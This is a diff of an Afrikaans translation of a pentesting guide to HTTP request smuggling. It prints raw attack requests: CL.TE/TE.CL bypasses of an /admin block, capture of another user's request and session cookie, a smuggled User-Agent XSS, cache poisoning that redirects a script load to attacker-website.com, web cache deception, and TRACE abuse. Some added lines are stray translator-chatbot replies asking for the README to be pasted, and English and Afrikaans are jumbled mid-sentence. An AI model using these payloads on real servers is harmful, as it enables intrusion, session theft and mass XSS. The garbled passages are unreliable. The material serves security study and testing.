 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: geen. Jy het net jou kliënt van die bedienerframing af desinkroniseer.
+Impact: geen. Jy het net jou kliënt van die server framing gedesinchroniseer.

 > [!TIP]
 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

 ### Litmus-toetse: pipelining of werklike desync?

-1. Skakel hergebruik af en toets weer
+1. Deaktiveer reuse en toets weer
 - In Burp Intruder/Repeater, skakel HTTP/1 reuse af en vermy "Send group in sequence".
 - In Turbo Intruder, stel `requestsPerConnection=1` en `pipeline=False`.
 - As die gedrag verdwyn, was dit waarskynlik client-side pipelining, tensy jy te doen het met connection-locked/stateful teikens of client-side desync.
-2. HTTP/2 nested-response check
- Stuur 'n HTTP/2 versoek. As die response body 'n volledige nested HTTP/1 response bevat, het jy 'n backend parsing/desync-bug bewys in plaas van 'n suiwer client-artefak.
+2. HTTP/2 nested-response kontrole
+- Stuur 'n HTTP/2 versoek. As die response-body 'n volledige geneste HTTP/1 response bevat, het jy 'n backend parsing/desync fout bewys eerder as 'n suiwer client artefak.
 3. Partial-requests probe vir connection-locked front-ends
- Sommige FEs hergebruik slegs die upstream BE-verbinding as die kliënt hullene hergebruik het. Gebruik partial-requests om FE-gedrag te ontdek wat client-hergebruik weerspieël.
+- Sommige FEs hergebruik die upstream BE-verbinding slegs as die kliënt hullene hergebruik het. Gebruik partial-requests om FE-gedrag te ontdek wat kliënt-reuse weerspieël.
 - Sien PortSwigger "Browser‑Powered Desync Attacks" vir die connection-locked tegniek.
-4. Staat-probes
+4. State probes
 - Kyk vir verskille tussen eerste- en daaropvolgende-versoeke op dieselfde TCP-verbinding (first-request routing/validation).
 - Burp "HTTP Request Smuggler" sluit 'n connection‑state probe in wat dit outomatiseer.
-5. Visualiseer die wire
- Gebruik die Burp "HTTP Hacker" extension om concatenation en message framing direk te inspekteer terwyl jy met hergebruik en partial requests eksperimenteer.
+5. Visualiseer die draad
+- Gebruik die Burp "HTTP Hacker" extension om concatenation en message framing direk te inspekteer terwyl jy met reuse en partial requests eksperimenteer.

 ### Connection‑locked request smuggling (reuse-required)

-Sommige front-ends hergebruik slegs die upstream verbinding wanneer die kliënt hullene hergebruik. Werklike smuggling bestaan, maar is voorwaardelik op kliënt-side hergebruik. Om te onderskei en impak te bewys:
+Sommige front-ends hergebruik die upstream verbinding slegs wanneer die kliënt hullene hergebruik. Werklike smuggling bestaan, maar is afhanklik van client-side reuse. Om te onderskei en impak te bewys:
 - Bewys die server-side fout
- Gebruik die HTTP/2 nested-response check, of
+- Gebruik die HTTP/2 nested-response kontrole, of
 - Gebruik partial-requests om te wys dat die FE slegs upstream hergebruik wanneer die kliënt dit doen.
- Toon werklike impak selfs as direkte cross-user socket misbruik geblokkeer is:
- Cache poisoning: poison shared caches via die desync sodat responses ander gebruikers beïnvloed.
- Internal header disclosure: reflekteer FE-ingesette headers (bv. auth/trust headers) en pivot na auth bypass.
- Bypass FE controls: smuggle restricted paths/methods verby die front-end.
+- Demonstreer werklike impak selfs as direkte cross-user socket misbruik geblokkeer is:
+- Cache poisoning: besmet gedeelde caches via die desync sodat responses ander gebruikers raak.
+- Internal header disclosure: reflekteer FE-geïnjekteerde headers (bv. auth/trust headers) en pivot na auth bypass.
+- Bypass FE controls: smuggle beperkte paths/methods verby die front-end.
 - Host-header abuse: kombineer met host routing quirks om na interne vhosts te pivot.
- Operator werkvloei
- Reproduceer met beheerde hergebruik (Turbo Intruder `requestsPerConnection=2`, of Burp Repeater tab group → "Send group in sequence (single connection)").
+- Operator workflow
+- Reproduseer met gekontroleerde reuse (Turbo Intruder `requestsPerConnection=2`, of Burp Repeater tab group → "Send group in sequence (single connection)").
 - Ketting dan na cache/header-leak/control-bypass primitives en demonstreer cross-user of authorization impak.

 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
->
-{{#endref}}
+>{{#endref}}

-### Client‑side desync constraints
+### Client‑side desync beperkings

-As jy browser-powered/client-side desync teiken, moet die kwaadwillige versoek deur 'n blaaier cross-origin gestuur kan word. Header obfuscation truuks sal nie werk nie. Fokus op primitives wat via navigation/fetch bereikbaar is, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream komponente responses reflekteer of cache.
+As jy browser-powered/client-side desync teiken, moet die kwaadwillige versoek deur 'n browser cross-origin gestuur kan word. Header obfuscation truuks sal nie werk nie. Fokus op primitives wat deur navigation/fetch bereikbaar is, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream komponente responses reflekteer of in die cache stoor.

-Vir agtergrond en end-to-end werkvloei:
+Vir agtergrond en end-to-end workflows:

 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}

-### Tooling to help decide
+### Gereedskap om te help besluit

- HTTP Hacker (Burp BApp Store): openbaar laag-vlak HTTP-gedrag en socket concatenation.
+- HTTP Hacker (Burp BApp Store): ontsluit lae-vlak HTTP-gedrag en socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
 - Turbo Intruder: presiese beheer oor connection reuse via `requestsPerConnection`.
- Burp HTTP Request Smuggler: sluit 'n connection‑state probe in om first‑request routing/validation te herken.
+- Burp HTTP Request Smuggler: sluit 'n connection‑state probe in om first‑request routing/validation op te spoor.

 > [!NOTE]
-> Behandel reuse-only effects as non-issues tensy jy server-side desync kan bewys en konkrete impak kan aanheg (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, ens.).
+> Behandel reuse-only effekte as nie-kwessies tensy jy server-side desync kan bewys en konkrete impak kan koppel (besmette cache-artifact, gevlekte internal header wat privilege bypass moontlik maak, omseëning van FE kontrole, ens.).

 ## Misbruik van HTTP Request Smuggling

-### Omseiling van front-end sekuriteit via HTTP Request Smuggling
+### Omseiling van Front-End sekuriteit via HTTP Request Smuggling

-Soms dwing front-end proxies sekuriteitsmaatreëls af en ondersoek inkomende versoeke. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat onbevoegde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag eksterne toegang verhoed word omdat die front-end proxy sulke pogings aktief blokkeer. Nietemin kan hierdie proxy versuim om ingebedde versoeke binne 'n smuggled HTTP-versoek te inspekteer, wat 'n oopbedreiging vir omseiling van hierdie beperkings skep.
+Soms dwing front-end proxies sekuriteitsmaatreëls af en inspekteer inkomende versoeke. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling, wat onbevoegde toegang tot beperkte endpoints moontlik maak. Byvoorbeeld, toegang tot `/admin` kan ekstern verbied wees, met die front-end proxy wat sulke pogings aktief blokkeer. Tog kan hierdie proxy nalaat om ingeslote versoeke binne 'n gesmugglede HTTP versoek te inspekteer, wat 'n leemte skep om hierdie beperkings te omseil.

-Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek die teiken van die `/admin` pad wat tipies deur die front-end proxy beskerm word:
+Dink aan die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek die teiken van die `/admin` path wat tipies deur die front-end proxy beveilig word:

-**CL.TE Example**
+**CL.TE Voorbeeld**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -459,7 +458,7 @@ Content-Length: 10

 x=
 ```
-In die CL.TE-aanval word die `Content-Length`-header aangewend vir die aanvanklike versoek, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked`-header gebruik. Die front-end proxy verwerk die aanvanklike `POST`-versoek maar slaag nie daarin om die ingebedde `GET /admin`-versoek te inspekteer nie, wat onbevoegde toegang tot die `/admin`-pad toelaat.
+In die CL.TE-aanval word die `Content-Length` header vir die aanvanklike aanvraag gebruik, terwyl die daaropvolgende ingeslote aanvraag die `Transfer-Encoding: chunked` header gebruik. Die front-end proxy verwerk die aanvanklike `POST`-aanvraag, maar versuim om die ingeslote `GET /admin`-aanvraag te inspekteer, wat ongeoorloofde toegang tot die `/admin`-pad moontlik maak.

 **TE.CL Voorbeeld**
 ```
@ -477,13 +476,13 @@ a=x
 0

 ```
-Andersom, in die TE.CL-aanval gebruik die aanvanklike `POST`-versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingeslote versoek word verwerk op grond van die `Content-Length`-kop. Soortgelyk aan die CL.TE-aanval sien die front-end proxy die gesmokkelde `GET /admin`-versoek oor, wat onbedoeld toegang tot die beperkte `/admin`-pad verleen.
+Daarenteen, in die TE.CL-aanval gebruik die aanvanklike `POST` versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingeslote versoek word verwerk op grond van die `Content-Length` header. Net soos in die CL.TE-aanval, ignoreer die front-end proxy die gesmokkelde `GET /admin` versoek, wat per ongeluk toegang tot die beperkte `/admin` pad verleen.

-### Ontbloot front-end versoek-herschrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Ontdekking van front-end versoek-herschrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-Toepassings gebruik dikwels 'n **front-end server** om inkomende versoeke te wysig voordat hulle aan die back-end server gestuur word. 'n Tipiese wysiging behels die byvoeging van headers, soos `X-Forwarded-For: <IP of the client>`, om die kliënt se IP aan die back-end deur te gee. Om hierdie wysigings te verstaan kan krities wees, aangesien dit maniere kan blootlê om **beskermings te omseil** of **verborge inligting of endpunte te ontdek**.
+Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat hulle aan die back-end bediener deurgegee word. 'n Tipiese wysiging behels die byvoeging van headers, soos `X-Forwarded-For: <IP of the client>`, om die kliënt se IP aan die back-end deur te gee. Om hierdie wysigings te begryp kan kritiek wees, aangesien dit maniere kan blootlê om beskerming te omseil of om versteekte inligting of endpunte aan die lig te bring.

-Om te ondersoek hoe 'n proxy 'n versoek wysig, lokaliseer 'n POST-parameter wat die back-end in die respons terugstuur. Skep dan 'n versoek en gebruik hierdie parameter laaste, soortgelyk aan die volgende:
+Om te ondersoek hoe 'n proxy 'n versoek verander, identifiseer 'n POST-parameter wat die back-end in die response weerspieël. Skep dan 'n versoek waarin hierdie parameter laaste verskyn, soortgelyk aan die volgende:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -500,19 +499,19 @@ Content-Length: 100

 search=
 ```
-In hierdie struktuur word daaropvolgende request-komponente aangeheg na `search=`, wat die parameter is wat in die response weerspieël word. Hierdie refleksie sal die headers van die daaropvolgende request blootlê.
+In hierdie struktuur word daaropvolgende request-komponente aangeheg na `search=`, wat die parameter is wat in die response weerspieël word. Hierdie weerspieëling sal die headers van die daaropvolgende request blootstel.

-Dit is belangrik om die `Content-Length` header van die geneste request te belyn met die werklike lengte van die inhoud. Dit is raadsaam om met 'n klein waarde te begin en dit geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkapp, terwyl 'n te hoë waarde die request 'n fout kan laat gee.
+Dit is belangrik om die `Content-Length` header van die geneste request te belyn met die werklike content length. Begin met 'n klein waarde en verhoog dit geleidelik — te laag sal die weerspieelde data afknyp, terwyl te hoog die request kan laat fout.

-Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwetsbaarheid, maar die request moet eindig met `search=\r\n0`. Ongeag die newline-karakters, sal die waardes by die search-parameter aangeheg word.
+Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL kwetsbaarheid, maar die request moet terminate met `search=\r\n0`. Ongeag die newline-karakters, sal die waardes by die search parameter aangeheg word.

-Hierdie metode dien hoofsaaklik om die request-wijzigings wat deur die front-end proxy gemaak word te verstaan, en voer in wese 'n selfgedrewe ondersoek uit.
+Hierdie metode dien hoofsaaklik om die request-wysigings wat deur die front-end proxy gemaak word te verstaan — dit is in wese 'n selfgerigte ondersoek.

-### Vaslegging van ander gebruikers se requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Vasvang ander gebruikers se versoeke <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Dit is moontlik om die requests van die volgende gebruiker vas te lê deur 'n spesifieke request as die waarde van 'n parameter tydens 'n POST-operasie aan te heg. Só kan dit bereik word:
+Dit is uitvoerbaar om die requests van die volgende gebruiker te vang deur 'n spesifieke request as die waarde van 'n parameter tydens 'n POST-operasie aan te heg. So kan dit bereik word:

-Deur die volgende request as die waarde van 'n parameter aan te heg, kan jy die daaropvolgende client se request stoor:
+Deur die volgende request as die waarde van 'n parameter aan te heg, kan jy die daaropvolgende kliënt se request stoor:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -532,20 +531,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-In hierdie scenario is die **kommentaarparameter** bedoel om die inhoud binne 'n plasing se kommentaargedeelte op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
+In hierdie scenario is die **comment parameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.

-Hierdie tegniek het egter beperkings. In die algemeen kap dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-encoded form submissions is hierdie afskeider die `&` karakter. Dit beteken die vasgevangde inhoud van die slagoffer se versoek sal by die eerste `&` stop, wat selfs deel van die query string kan wees.
+Hierdie tegniek het egter beperkings. Oor die algemeen kap dit data slegs tot by die parameter-onderskeider wat in die gesmokkelde versoek gebruik word. Vir URL-encoded form submissions is hierdie onderskeider die `&` karakter. Dit beteken dat die gekapte inhoud van die slagoffer se versoek by die eerste `&` sal stop, wat selfs deel van die query string kan wees.

-Dit is ook die moeite werd om te noem dat hierdie benadering ook werkbaar is met 'n TE.CL kwetsbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag reëlbreekkarakters, sal die waardes by die search parameter gevoeg word.
+Dit is ook die moeite werd om te noem dat hierdie benadering ook werk met 'n TE.CL kwetsbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag die newline-karakters, sal die waardes by die search-parameter aangeheg word.

-### Gebruik van HTTP Request Smuggling om Reflected XSS te benut
+### Gebruik van HTTP request smuggling om Reflected XSS te misbruik

-HTTP Request Smuggling kan gebruik word om webbladsye wat vatbaar is vir **Reflected XSS** uit te buit, en bied beduidende voordele:
+HTTP Request Smuggling kan benut word om webbladsye wat vatbaar is vir **Reflected XSS** te misbruik, en bied beduidende voordele:

 - Interaksie met die teikengebruikers is **nie nodig nie**.
- Laat die uitbuiting van XSS toe in dele van die versoek wat **gewoonlik ontoeganklik** is, soos HTTP request headers.
+- Laat toe dat XSS uitgebuit word in dele van die versoek wat **gewoonlik onbereikbaar** is, soos HTTP request headers.

-In gevalle waar 'n webwerf vatbaar is vir Reflected XSS deur die User-Agent header, toon die volgende payload hoe om hierdie kwetsbaarheid uit te buit:
+In scenario's waar 'n webwerf vatbaar is vir Reflected XSS deur die User-Agent header, demonstreer die volgende payload hoe om hierdie kwetsbaarheid te misbruik:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -566,36 +565,36 @@ Content-Type: application/x-www-form-urlencoded

 A=
 ```
-Hierdie payload is gestruktureer om die kwesbaarheid uit te buit deur:
+This payload is gestruktureer om die kwesbaarheid te misbruik deur:

-1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
-2. Following with a `0`, marking the end of the chunked message body.
-3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
+1. Initiëer 'n `POST` request, skynbaar tipies, met 'n `Transfer-Encoding: chunked` header om die begin van smuggling aan te dui.
+2. Daarna 'n `0`, wat die einde van die chunked message body aandui.
+3. Dan word 'n gesmuggelde `GET` request ingevoer, waar die `User-Agent` header geïnjekteer word met 'n script, `<script>alert(1)</script>`, wat die XSS veroorsaak wanneer die bediener hierdie opvolgende request verwerk.

-By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
+Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale request-beperkings en benut dus die Reflected XSS-kwesbaarheid op 'n nie-standaard maar doeltreffende wyse.

 #### HTTP/0.9

 > [!CAUTION]
-> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
+> In geval die gebruiker inhoud gereflekteer word in 'n response met 'n **`Content-type`** soos **`text/plain`**, wat die uitvoering van die XSS keer. As die bediener **HTTP/0.9 ondersteun kan dit moontlik wees om dit te omseil**!

-Die weergawe HTTP/0.9 het HTTP/1.0 voorafgegaan en gebruik slegs **GET**-versoeke en **reageer nie** met **headers** nie — net die body.
+Die weergawe HTTP/0.9 het voorafgegaan aan 1.0 en gebruik slegs **GET** verbs en **reageer nie** met **headers** nie, net die body.

-In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
+In [**this writeup**](https://mizu.re/post/twisty-python) is dit misbruik met request smuggling en 'n **vulnerable endpoint wat met die gebruiker se invoer sal antwoord** om 'n request met HTTP/0.9 te smuggle. Die parameter wat in die response gereflekteer sal word het 'n **fake HTTP/1.1 response (with headers and body)** bevat sodat die response geldige uitvoerbare JS-kode sal bevat met 'n `Content-Type` van `text/html`.

-### Uitbuiting van On-site Redirects met HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Benutting van on-site redirects met HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Toepassings herlei dikwels van een URL na 'n ander deur die hostname uit die `Host` header in die redirect URL te gebruik. Dit is algemeen by webservers soos Apache en IIS. Byvoorbeeld, om 'n folder te versoek sonder 'n trailing slash lei tot 'n redirect om die slash in te sluit:
+Aansoeke herlei dikwels van een URL na 'n ander deur die hostname van die `Host` header in die redirect URL te gebruik. Dit is algemeen by webservers soos Apache en IIS. Byvoorbeeld, 'n versoek na 'n gids sonder 'n trailing slash lei tot 'n redirect om die slash in te sluit:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Lei tot:
+I don't have the README.md contents. Please paste the file text you want translated and I'll return an Afrikaans translation preserving all markdown, tags, links and code.
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Al lyk dit onskuldig, kan hierdie gedrag gemanipuleer word deur HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
+Alhoewel dit skynbaar onskadelik is, kan hierdie gedrag deur middel van HTTP request smuggling gemanipuleer word om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -609,27 +608,27 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Hierdie smuggled request kan veroorsaak dat die volgende verwerkte user request na ’n attacker-controlled website herlei word:
+Hierdie smuggled request kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n attacker-controlled website herlei word:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-Lei tot:
+Gevolg:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan die gebruiker moontlik kompromitteer deur kwaadwillige JavaScript as antwoord te bedien.
+In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan die gebruiker moontlik kompromitteer deur kwaadwillige JavaScript as reaksie te lewer.

-### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Benut Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastructure caches content** aanwesig is, gewoonlik om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om **poison the cache**.
+Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastructure caches content** inhoud kas, tipies om prestasie te verbeter. Deur die server se reaksie te manipuleer, is dit moontlik om die **poison the cache**.

-Voorheen het ons gesien hoe bedienerreaksies verander kan word om 'n 404-fout terug te gee (verwys na [Basic Examples](#basic-examples)). Op 'n soortgelyke wyse is dit moontlik om die bediener te mislei om die inhoud van `/index.html` terug te stuur as reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die cache vervang deur dié van `/index.html`, wat `/static/include.js` ontoeganklik vir gebruikers maak en moontlik lei tot 'n Denial of Service (DoS).
+Voorheen het ons waargeneem hoe server-reaksies verander kan word om 'n 404-fout terug te gee (verwys na [Basic Examples](#basic-examples)). Op 'n soortgelyke wyse is dit uitvoerbaar om die server te mislei om `/index.html`-inhoud te lewer as reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die cache vervang deur dié van `/index.html`, wat `/static/include.js` ontoeganklik vir gebruikers maak en moontlik lei tot 'n Denial of Service (DoS).

-Hierdie tegniek raak besonder gevaarlik as 'n **Open Redirect vulnerability** gevind word of as daar 'n **on-site redirect to an open redirect** is. Sulke kwesbaarhede kan uitgebuit word om die gecachte inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat effektief 'n wye-sporige Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
+Hierdie tegniek raak besonders kragtig as 'n **Open Redirect vulnerability** gevind word of as daar 'n **on-site redirect to an open redirect** is. Sulke kwesbaarhede kan uitgebuit word om die gecachte inhoud van `/static/include.js` te vervang met 'n script onder die aanvaller se beheer, wat effektief 'n wye verspreide Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.

 Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
 ```
@ -649,20 +648,20 @@ Content-Length: 10

 x=1
 ```
-Let op die ingeslote versoek wat gemik is op `/post/next?postId=3`. Hierdie versoek sal herlei word na `/post?postId=4`, deur die **Host header value** te gebruik om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**).
+Let op die ingeslote request wat gemik is op `/post/next?postId=3`. Hierdie request sal herlei word na `/post?postId=4`, deur gebruik te maak van die **Host header value** om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die request herlei na hul domein (**on-site redirect to open redirect**).

-Na 'n suksesvolle **socket poisoning** moet 'n **GET request** vir `/static/include.js` gestuur word. Hierdie versoek sal gekontamineer word deur die vorige **on-site redirect to open redirect** versoek en sal die inhoud van die deur die aanvaller beheerde skrip laai.
+Na suksesvolle **socket poisoning**, moet 'n **GET request** vir `/static/include.js` geïnisieer word. Hierdie request sal deur die eerder genoemde **on-site redirect to open redirect** request besmet word en die inhoud van die skrip wat deur die aanvaller beheer word, ophaal.

-Daarna sal enige versoek vir `/static/include.js` die gecachte inhoud van die aanvaller se skrip bedien, wat effektief 'n wye XSS attack ontketen.
+Daarna sal enige request vir `/static/include.js` die gekasde inhoud van die aanvaller se skrip bedien, wat effektief 'n wye XSS-aanval lanseer.

 ### Gebruik HTTP request smuggling om web cache deception uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

 > **Wat is die verskil tussen web cache poisoning en web cache deception?**
 >
-> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing sekere kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
-> - In **web cache deception**, die aanvaller veroorsaak dat die toepassing sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
+> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing sekere kwaadaardige inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander gebruikers van die toepassing bedien.
+> - In **web cache deception**, die aanvaller veroorsaak dat die toepassing sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

-Die aanvaller vervaardig 'n smuggled request wat sensitiewe gebruikerspesifieke inhoud ophaal. Oorweeg die volgende voorbeeld:
+Die aanvaller vervaardig 'n smuggled request wat sensitiewe gebruiker-spesifieke inhoud aflaai. Oorweeg die volgende voorbeeld:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -673,17 +672,17 @@ Die aanvaller vervaardig 'n smuggled request wat sensitiewe gebruikerspesifieke
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-As hierdie gesmokkelde versoek 'n cache entry vergiftig wat bedoel is vir static content (bv., `/someimage.png`), kan die slagoffer se sensitiewe data van `/private/messages` onder die static content se cache entry in die cache gestoor word. Gevolglik kan die aanvaller moontlik hierdie data uit die cache terugkry.
+As hierdie gesmokkelde versoek 'n cache entry bedoel vir static content (bv. `/someimage.png`) besoedel, kan die slagoffer se sensitiewe data van `/private/messages` onder die static content se cache entry cached raak. Gevolglik kan die aanvaller moontlik hierdie cached sensitiewe data terugkry.

 ### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**In this post**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die method TRACE geaktiveer het, dit moontlik is om dit met 'n HTTP Request Smuggling te misbruik. Dit is omdat hierdie method enige header wat na die bediener gestuur word as deel van die body van die response sal reflekteer. Byvoorbeeld:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die server die metode TRACE geaktiveer het, dit moontlik kan wees om dit met HTTP Request Smuggling te misbruik. Dit is omdat hierdie metode enige header wat aan die server gestuur word as deel van die response body sal reflekteer. Byvoorbeeld:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Please paste the README.md content you want translated. I will translate the English text to Afrikaans and preserve all markdown/html, code, tags, links, and paths exactly as you specified (won't translate code, technique names, cloud/SaaS names, the word "leak", pentesting, links/paths, or tags).
+Stuur asseblief die inhoud van die README.md wat jy vertaal wil hê. Ek sal alle relevante Engelse teks na Afrikaans vertaal en dieselfde markdown- en html-sintaksis preserver, sonder om kode, tegniekname, cloud/SaaS-name, die woord "leak", "pentesting", skakels, paaie of merkmerke/tags te vertaal.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -694,15 +693,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. Hierdie request sal slegs met die **headers** van 'n GET request beantwoord word (**`Content-Type`** onder hulle). En smuggle **immediately after the HEAD a TRACE request**, wat die gestuurde data sal weerspieël.\
-Aangesien die HEAD-response 'n `Content-Length` header sal bevat, sal die **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in die response.\
-Hierdie response sal na die volgende request oor die verbinding gestuur word, dus kan dit byvoorbeeld gebruik word in 'n gecachede JS-lêer om arbitrêre JS-kode in te spuit.
+'n Voorbeeld van hoe om hierdie gedrag te misbruik sou wees om **smuggle first a HEAD request**. Hierdie request sal slegs met die **headers** van 'n GET request beantwoord word (**`Content-Type`** onder hulle). En **smuggle immediately after the HEAD a TRACE request**, wat die gestuurde data sal weerspieël.\
+Aangesien die HEAD response `Content-Length` header sal bevat, sal die **response van die TRACE request as die body van die HEAD response behandel word, en gevolglik arbitrêre data in die response weerspieël**.\
+Hierdie response sal na die volgende request oor die konneksie gestuur word, dus kan dit **used in a cached JS file for example to inject arbitrary JS code**.

 ### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. Soos kommentaar aandui, deur 'n HEAD-request en 'n TRACE-request te smuggle, is dit moontlik om sekere weerspieëlde data in die response op die HEAD-request te beheer. Die lengte van die body van die HEAD-request word basies aangedui in die Content-Length header en word gevorm deur die response op die TRACE-request.
